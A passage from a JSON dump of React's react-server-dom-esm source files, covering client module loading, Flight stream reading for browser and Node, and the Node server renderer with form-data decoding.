else {\n    // $FlowFixMe[unsupported-syntax]\n    const modulePromise: Thenable<T> = import(metadata.specifier);\n    modulePromise.then(\n      value => {\n        const fulfilledThenable: FulfilledThenable<mixed> =\n          (modulePromise: any);\n        fulfilledThenable.status = 'fulfilled';\n        fulfilledThenable.value = value;\n      },\n      reason => {\n        const rejectedThenable: RejectedThenable<mixed> = (modulePromise: any);\n        rejectedThenable.status = 'rejected';\n        rejectedThenable.reason = reason;\n      },\n    );\n    asyncModuleCache.set(metadata.specifier, modulePromise);\n    return modulePromise;\n  }\n}\n\nexport function requireModule<T>(metadata: ClientReference<T>): T {\n  let moduleExports;\n  // We assume that preloadModule has been called before, which\n  // should have added something to the module cache.\n  const promise: any = asyncModuleCache.get(metadata.specifier);\n  if (promise.status === 'fulfilled') {\n    moduleExports = promise.value;\n  } else {\n    throw promise.reason;\n  }\n  return moduleExports[metadata.name];\n}\n\n// We cache ReactIOInfo across requests so that inner refreshes can dedupe with outer.\nconst moduleIOInfoCache: Map<string, ReactIOInfo> = __DEV__\n  ? new Map()\n  : (null: any);\n\nexport function getModuleDebugInfo<T>(\n  metadata: ClientReference<T>,\n): null | ReactDebugInfo {\n  if (!__DEV__) {\n    return null;\n  }\n  const filename = metadata.specifier;\n  let ioInfo = moduleIOInfoCache.get(filename);\n  if (ioInfo === undefined) {\n    let href;\n    try {\n      // $FlowFixMe\n      href = new URL(filename, document.baseURI).href;\n    } catch (_) {\n      href = filename;\n    }\n    let start = -1;\n    let end = -1;\n    let byteSize = 0;\n    // $FlowFixMe[method-unbinding]\n    if (typeof performance.getEntriesByType === 'function') {\n      // We may be able to collect the start and end time of this resource from Performance Observer.\n      const resourceEntries = performance.getEntriesByType('resource');\n      for (let i = 0; i < resourceEntries.length; i++) {\n        const resourceEntry = resourceEntries[i];\n        if (resourceEntry.name === href) {\n          start = resourceEntry.startTime;\n          end = start + resourceEntry.duration;\n          // $FlowFixMe[prop-missing]\n          byteSize = (resourceEntry.transferSize: any) || 0;\n        }\n      }\n    }\n    const value = Promise.resolve(href);\n    // $FlowFixMe\n    value.status = 'fulfilled';\n    // Is there some more useful representation for the chunk?\n    // $FlowFixMe\n    value.value = href;\n    // Create a fake stack frame that points to the beginning of the chunk. This is\n    // probably not source mapped so will link to the compiled source rather than\n    // any individual file that goes into the chunks.\n    const fakeStack = new Error('react-stack-top-frame');\n    if (fakeStack.stack.startsWith('Error: react-stack-top-frame')) {\n      // Looks like V8\n      fakeStack.stack =\n        'Error: react-stack-top-frame\\n' +\n        // Add two frames since we always trim one off the top.\n        '    at Client Component Bundle (' +\n        href +\n        ':1:1)\\n' +\n        '    at Client Component Bundle (' +\n        href +\n        ':1:1)';\n    } else {\n      // Looks like Firefox or Safari.\n      // Add two frames since we always trim one off the top.\n      fakeStack.stack =\n        'Client Component Bundle@' +\n        href +\n        ':1:1\\n' +\n        'Client Component Bundle@' +\n        href +\n        ':1:1';\n    }\n    ioInfo = ({\n      name: 'script',\n      start: start,\n      end: end,\n      value: value,\n      debugStack: fakeStack,\n    }: ReactIOInfo);\n    if (byteSize > 0) {\n      // $FlowFixMe[cannot-write]\n      ioInfo.byteSize = byteSize;\n    }\n    moduleIOInfoCache.set(filename, ioInfo);\n  }\n  // We could dedupe the async info too but conceptually each request is its own await.\n  const asyncInfo: ReactAsyncInfo = {\n    awaited: ioInfo,\n  };\n  return [asyncInfo];\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type ModuleLoading = null;\n\nexport function prepareDestinationForModuleImpl(\n  moduleLoading: ModuleLoading,\n  chunks: mixed,\n  nonce: ?string,\n) {\n  // In the browser we don't need to prepare our destination since the browser is the Destination\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {preinitModuleForSSR} from 'react-client/src/ReactFlightClientConfig';\n\nexport type ModuleLoading =\n  | null\n  | string\n  | {\n      prefix: string,\n      crossOrigin?: string,\n    };\n\nexport function prepareDestinationForModuleImpl(\n  moduleLoading: ModuleLoading,\n  // Chunks are double-indexed [..., idx, filenamex, idy, filenamey, ...]\n  mod: string,\n  nonce: ?string,\n) {\n  if (typeof moduleLoading === 'string') {\n    preinitModuleForSSR(moduleLoading + mod, nonce, undefined);\n  } else if (moduleLoading !== null) {\n    preinitModuleForSSR(\n      moduleLoading.prefix + mod,\n      nonce,\n      moduleLoading.crossOrigin,\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/client/ReactFlightDOMClientBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  DebugChannelCallback,\n  FindSourceMapURLCallback,\n  Response as FlightResponse,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processBinaryChunk,\n  processStringChunk,\n  close,\n  injectIntoDevTools,\n} from 'react-client/src/ReactFlightClient';\n\nimport {processReply} from 'react-client/src/ReactFlightReplyClient';\n\nexport {\n  createServerReference,\n  registerServerReference,\n} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\ntype CallServerCallback = <A, T>(string, args: A) => Promise<T>;\n\nexport type Options = {\n  moduleBaseURL?: string,\n  callServer?: CallServerCallback,\n  debugChannel?: {writable?: WritableStream, readable?: ReadableStream, ...},\n  temporaryReferences?: TemporaryReferenceSet,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n};\n\nfunction createDebugCallbackFromWritableStream(\n  debugWritable: WritableStream,\n): DebugChannelCallback {\n  const textEncoder = new TextEncoder();\n  const writer = debugWritable.getWriter();\n  return message => {\n    if (message === '') {\n      writer.close();\n    } else {\n      // Note: It's important that this function doesn't close over the Response object or it can't be GC:ed.\n      // Therefore, we can't report errors from this write back to the Response object.\n      if (__DEV__) {\n        writer.write(textEncoder.encode(message + '\\n')).catch(console.error);\n      }\n    }\n  };\n}\n\nfunction createResponseFromOptions(options: void | Options) {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {\n          hasReadable: options.debugChannel.readable !== undefined,\n          callback:\n            options.debugChannel.writable !== undefined\n              ? createDebugCallbackFromWritableStream(\n                  options.debugChannel.writable,\n                )\n              : null,\n        }\n      : undefined;\n\n  return createResponse(\n    options && options.moduleBaseURL ? options.moduleBaseURL : '',\n    null,\n    null,\n    options && options.callServer ? options.callServer : undefined,\n    undefined, // encodeFormAction\n    undefined, // nonce\n    options && options.temporaryReferences\n      ? options.temporaryReferences\n      : undefined,\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ ? (options ? options.replayConsoleLogs !== false : true) : false, // defaults to true\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n}\n\nfunction startReadingFromUniversalStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n): void {\n  // This is the same as startReadingFromStream except this allows WebSocketStreams which\n  // return ArrayBuffer and string chunks instead of Uint8Array chunks. We could potentially\n  // always allow streams with variable chunk types.\n  const streamState = createStreamState(response, stream);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    if (value instanceof ArrayBuffer) {\n      // WebSockets can produce ArrayBuffer values in ReadableStreams.\n      processBinaryChunk(response, streamState, new Uint8Array(value));\n    } else if (typeof value === 'string') {\n      // WebSockets can produce string values in ReadableStreams.\n      processStringChunk(response, streamState, value);\n    } else {\n      processBinaryChunk(response, streamState, value);\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction startReadingFromStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n  debugValue: mixed,\n): void {\n  const streamState = createStreamState(response, debugValue);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    const buffer: Uint8Array = (value: any);\n    processBinaryChunk(response, streamState, buffer);\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\nfunction createFromReadableStream<T>(\n  stream: ReadableStream,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  if (\n    __DEV__ &&\n    options &&\n    options.debugChannel &&\n    options.debugChannel.readable\n  ) {\n    let streamDoneCount = 0;\n    const handleDone = () => {\n      if (++streamDoneCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromUniversalStream(\n      response,\n      options.debugChannel.readable,\n      handleDone,\n    );\n    startReadingFromStream(response, stream, handleDone, stream);\n  } else {\n    startReadingFromStream(\n      response,\n      stream,\n      close.bind(null, response),\n      stream,\n    );\n  }\n  return getRoot(response);\n}\n\nfunction createFromFetch<T>(\n  promiseForResponse: Promise<Response>,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  promiseForResponse.then(\n    function (r) {\n      if (\n        __DEV__ &&\n        options &&\n        options.debugChannel &&\n        options.debugChannel.readable\n      ) {\n        let streamDoneCount = 0;\n        const handleDone = () => {\n          if (++streamDoneCount === 2) {\n            close(response);\n          }\n        };\n        startReadingFromUniversalStream(\n          response,\n          options.debugChannel.readable,\n          handleDone,\n        );\n        startReadingFromStream(response, (r.body: any), handleDone, r);\n      } else {\n        startReadingFromStream(\n          response,\n          (r.body: any),\n          close.bind(null, response),\n          r,\n        );\n      }\n    },\n    function (e) {\n      reportGlobalError(response, e);\n    },\n  );\n  return getRoot(response);\n}\n\nfunction encodeReply(\n  value: ReactServerValue,\n  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},\n): Promise<\n  string | URLSearchParams | FormData,\n> /* We don't use URLSearchParams yet but maybe */ {\n  return new Promise((resolve, reject) => {\n    const abort = processReply(\n      value,\n      '',\n      options && options.temporaryReferences\n        ? options.temporaryReferences\n        : undefined,\n      resolve,\n      reject,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort((signal: any).reason);\n      } else {\n        const listener = () => {\n          abort((signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n  });\n}\n\nexport {createFromFetch, createFromReadableStream, encodeReply};\n\nif (__DEV__) {\n  injectIntoDevTools();\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/client/ReactFlightDOMClientNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  FindSourceMapURLCallback,\n  Response,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {Readable} from 'stream';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processStringChunk,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nimport {createServerReference as createServerReferenceImpl} from 'react-client/src/ReactFlightReplyClient';\n\nexport {registerServerReference} from 'react-client/src/ReactFlightReplyClient';\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components instead.',\n  );\n}\n\nexport function createServerReference<A: Iterable<any>, T>(\n  id: any,\n  callServer: any,\n): (...A) => Promise<T> {\n  return createServerReferenceImpl(id, noServerCall);\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Node.js client we only support a single-direction debug channel.\n  debugChannel?: Readable,\n};\n\nfunction startReadingFromStream(\n  response: Response,\n  stream: Readable,\n  onEnd: () => void,\n): void {\n  const streamState = createStreamState(response, stream);\n\n  stream.on('data', chunk => {\n    if (typeof chunk === 'string') {\n      processStringChunk(response, streamState, chunk);\n    } else {\n      processBinaryChunk(response, streamState, chunk);\n    }\n  });\n\n  stream.on('error', error => {\n    reportGlobalError(response, error);\n  });\n\n  stream.on('end', onEnd);\n}\n\nfunction createFromNodeStream<T>(\n  stream: Readable,\n  moduleRootPath: string,\n  moduleBaseURL: string,\n  options?: Options,\n): Thenable<T> {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {hasReadable: true, callback: null}\n      : undefined;\n\n  const response: Response = createResponse(\n    moduleRootPath,\n    null,\n    moduleBaseURL,\n    noServerCall,\n    options ? options.encodeFormAction : undefined,\n    options && typeof options.nonce === 'string' ? options.nonce : undefined,\n    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n\n  if (__DEV__ && options && options.debugChannel) {\n    let streamEndedCount = 0;\n    const handleEnd = () => {\n      if (++streamEndedCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel, handleEnd);\n    startReadingFromStream(response, stream, handleEnd);\n  } else {\n    startReadingFromStream(response, stream, close.bind(null, response));\n  }\n\n  return getRoot(response);\n}\n\nexport {createFromNodeStream};\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Destination} from 'react-server/src/ReactServerStreamConfigNode';\nimport type {ClientManifest} from './ReactFlightServerConfigESMBundler';\nimport type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';\nimport type {Busboy} from 'busboy';\nimport type {Writable} from 'stream';\nimport type {Thenable} from 'shared/ReactTypes';\n\nimport type {Duplex} from 'stream';\n\nimport {Readable} from 'stream';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  reportGlobalError,\n  close,\n  resolveField,\n  resolveFileInfo,\n  resolveFileChunk,\n  resolveFileComplete,\n  getRoot,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction,\n  decodeFormState,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  registerServerReference,\n  registerClientReference,\n} from '../ReactFlightESMReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigNode';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\nfunction createDrainHandler(destination: Destination, request: Request) {\n  return () => startFlowing(request, destination);\n}\n\nfunction createCancelHandler(request: Request, reason: string) {\n  return () => {\n    stopFlowing(request);\n    abort(request, new Error(reason));\n  };\n}\n\nfunction startReadingFromDebugChannelReadable(\n  request: Request,\n  stream: Readable | WebSocket,\n): void {\n  const stringDecoder = createStringDecoder();\n  let lastWasPartial = false;\n  let stringBuffer = '';\n  function onData(chunk: string | Uint8Array) {\n    if (typeof chunk === 'string') {\n      if (lastWasPartial) {\n        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));\n        lastWasPartial = false;\n      }\n      stringBuffer += chunk;\n    } else {\n      const buffer: Uint8Array = (chunk: any);\n      stringBuffer += readPartialStringChunk(stringDecoder, buffer);\n      lastWasPartial = true;\n    }\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n  }\n  function onError(error: mixed) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: error,\n      }),\n    );\n  }\n  function onClose() {\n    closeDebugChannel(request);\n  }\n  if (\n    // $FlowFixMe[method-unbinding]\n    typeof stream.addEventListener === 'function' &&\n    // $FlowFixMe[method-unbinding]\n    typeof stream.binaryType === 'string'\n  ) {\n    const ws: WebSocket = (stream: any);\n    ws.binaryType = 'arraybuffer';\n    ws.addEventListener('message', event => {\n      // $FlowFixMe\n      onData(event.data);\n    });\n    ws.addEventListener('error', event => {\n      // $FlowFixMe\n      onError(event.error);\n    });\n    ws.addEventListener('close', onClose);\n  } else {\n    const readable: Readable = (stream: any);\n    readable.on('data', onData);\n    readable.on('error', onError);\n    readable.on('end', onClose);\n  }\n}\n\ntype Options = {\n  debugChannel?: Readable | Writable | Duplex | WebSocket,\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  startTime?: number,\n};\n\ntype PipeableStream = {\n  abort(reason: mixed): void,\n  pipe<T: Writable>(destination: T): T,\n};\n\nfunction renderToPipeableStream(\n  model: ReactClientValue,\n  moduleBasePath: ClientManifest,\n  options?: Options,\n): PipeableStream {\n  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;\n  const debugChannelReadable: void | Readable | WebSocket =\n    __DEV__ &&\n    debugChannel !== undefined &&\n    // $FlowFixMe[method-unbinding]\n    (typeof debugChannel.read === 'function' ||\n      typeof debugChannel.readyState === 'number')\n      ? (debugChannel: any)\n      : undefined;\n  const debugChannelWritable: void | Writable =\n    __DEV__ && debugChannel !== undefined\n      ? // $FlowFixMe[method-unbinding]\n        typeof debugChannel.write === 'function'\n        ? (debugChannel: any)\n        : // $FlowFixMe[method-unbinding]\n          typeof debugChannel.send === 'function'\n          ? createFakeWritableFromWebSocket((debugChannel: any))\n          : undefined\n      : undefined;\n  const request = createRequest(\n    model,\n    moduleBasePath,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  let hasStartedFlowing = false;\n  startWork(request);\n  if (debugChannelWritable !== undefined) {\n    startFlowingDebug(request, debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadable(request, debugChannelReadable);\n  }\n  return {\n    pipe<T: Writable>(destination: T): T {\n      if (hasStartedFlowing) {\n        throw new Error(\n          'React currently only supports piping to one writable stream.',\n        );\n      }\n      hasStartedFlowing = true;\n      startFlowing(request, destination);\n      destination.on('drain', createDrainHandler(destination, request));\n      destination.on(\n        'error',\n        createCancelHandler(\n          request,\n          'The destination stream errored while writing data.',\n        ),\n      );\n      // We don't close until the debug channel closes.\n      if (!__DEV__ || debugChannelReadable === undefined) {\n        destination.on(\n          'close',\n          createCancelHandler(request, 'The destination stream closed early.'),\n        );\n      }\n      return destination;\n    },\n    abort(reason: mixed) {\n      abort(request, reason);\n    },\n  };\n}\n\nfunction createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {\n  return ({\n    write(chunk: string | Uint8Array) {\n      webSocket.send((chunk: any));\n      return true;\n    },\n    end() {\n      webSocket.close();\n    },\n    destroy(reason) {\n      if (typeof reason === 'object' && reason !== null) {\n        reason = reason.message;\n      }\n      if (typeof reason === 'string') {\n        webSocket.close(1011, reason);\n      } else {\n        webSocket.close(1011);\n      }\n    },\n  }: any);\n}\n\nfunction createFakeWritable(readable: any): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      return readable.push(chunk);\n    },\n    end() {\n      readable.push(null);\n    },\n    destroy(error) {\n      readable.destroy(error);\n    },\n  }: any);\n}\n\ntype PrerenderOptions = {\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  signal?: AbortSignal,\n  startTime?: number,\n};\n\ntype StaticResult = {\n  prelude: Readable,\n};\n\nfunction prerenderToNodeStream(\n  model: ReactClientValue,\n  moduleBasePath: ClientManifest,\n  options?: PrerenderOptions,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const readable: Readable = new Readable({\n        read() {\n          startFlowing(request, writable);\n        },\n      });\n      const writable = createFakeWritable(readable);\n      resolve({prelude: readable});\n    }\n\n    const request = createPrerenderRequest(\n      model,\n      moduleBasePath,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction decodeReplyFromBusboy<T>(\n  busboyStream: Busboy,\n  moduleBasePath: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const response = createResponse(\n    moduleBasePath,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n  let pendingFiles = 0;\n  const queuedFields: Array<string> = [];\n  busboyStream.on('field', (name, value) => {\n    if (pendingFiles > 0) {\n      // Because the 'end' event fires two microtasks after the next 'field'\n      // we would resolve files and fields out of order. To handle this properly\n      // we queue any fields we receive until the previous file is done.\n      queuedFields.push(name, value);\n    } else {\n      try {\n        resolveField(response, name, value);\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    }\n  });\n  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {\n    if (encoding.toLowerCase() === 'base64') {\n      busboyStream.destroy(\n        new Error(\n          \"React doesn't accept base64 encoded file uploads because we don't expect \" +\n            \"form data passed from a browser to ever encode data that way. If that's \" +\n            'the wrong assumption, we can easily fix it.',\n        ),\n      );\n      return;\n    }\n    pendingFiles++;\n    const file = resolveFileInfo(response, name, filename, mimeType);\n    value.on('data', chunk => {\n      resolveFileChunk(response, file, chunk);\n    });\n    value.on('end', () => {\n      try {\n        resolveFileComplete(response, name, file);\n        pendingFiles--;\n        if (pendingFiles === 0) {\n          // Release any queued fields\n          for (let i = 0; i < queuedFields.length; i += 2) {\n            resolveField(response, queuedFields[i], queuedFields[i + 1]);\n          }\n          queuedFields.length = 0;\n        }\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    });\n  });\n  busboyStream.on('finish', () => {\n    close(response);\n  });\n  busboyStream.on('error', err => {\n    reportGlobalError(\n      response,\n      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible\n      err,\n    );\n  });\n  return getRoot(response);\n}\n\nfunction decodeReply<T>(\n  body: string | FormData,\n  moduleBasePath: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    moduleBasePath,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nexport {\n  renderToPipeableStream,\n  prerenderToNodeStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeAction,\n  decodeFormState,\n};\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/server/ReactFlightServerConfigESMBundler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\n\nimport type {\n  ClientReference,\n  ServerReference,\n} from '../ReactFlightESMReferences';\n\nexport type {ClientReference, ServerReference};\n\nexport type ClientManifest = string; // base URL on the file system\n\nexport type ServerReferenceId = string;\n\nexport type ClientReferenceMetadata = [\n  string, // module path\n  string, // export name\n];\n\nexport type ClientReferenceKey = string;\n\nexport {\n  isClientReference,\n  isServerReference,\n} from '../ReactFlightESMReferences';\n\nexport function getClientReferenceKey(\n  reference: ClientReference<any>,\n): ClientReferenceKey {\n  return reference.$$id;\n}\n\nexport function resolveClientReferenceMetadata<T>(\n  config: ClientManifest,\n  clientReference: ClientReference<T>,\n): ClientReferenceMetadata {\n  const baseURL: string = config;\n  const id = clientReference.$$id;\n  const idx = id.lastIndexOf('#');\n  const exportName = id.slice(idx + 1);\n  const fullURL = id.slice(0, idx);\n  if (!fullURL.startsWith(baseURL)) {\n    throw new Error(\n      'Attempted to load a Client Module outside the hosted root.',\n    );\n  }\n  // Relative URL\n  const modulePath = fullURL.slice(baseURL.length);\n  return [modulePath, exportName];\n}\n\nexport function getServerReferenceId<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): ServerReferenceId {\n  return serverReference.$$id;\n}\n\nexport function getServerReferenceBoundArguments<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): null | Array<ReactClientValue> {\n  return serverReference.$$bound;\n}\n\nexport function getServerReferenceLocation<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): void | Error {\n  return serverReference.$$location;\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/server/react-flight-dom-server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToPipeableStream,\n  prerenderToNodeStream,\n  decodeReplyFromBusboy,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createTemporaryReferenceSet,\n} from './ReactFlightDOMServerNode';\n"
  },
  {
    "path": "packages/react-server-dom-esm/static.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-esm/static.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {prerenderToNodeStream} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-fb/package.json",
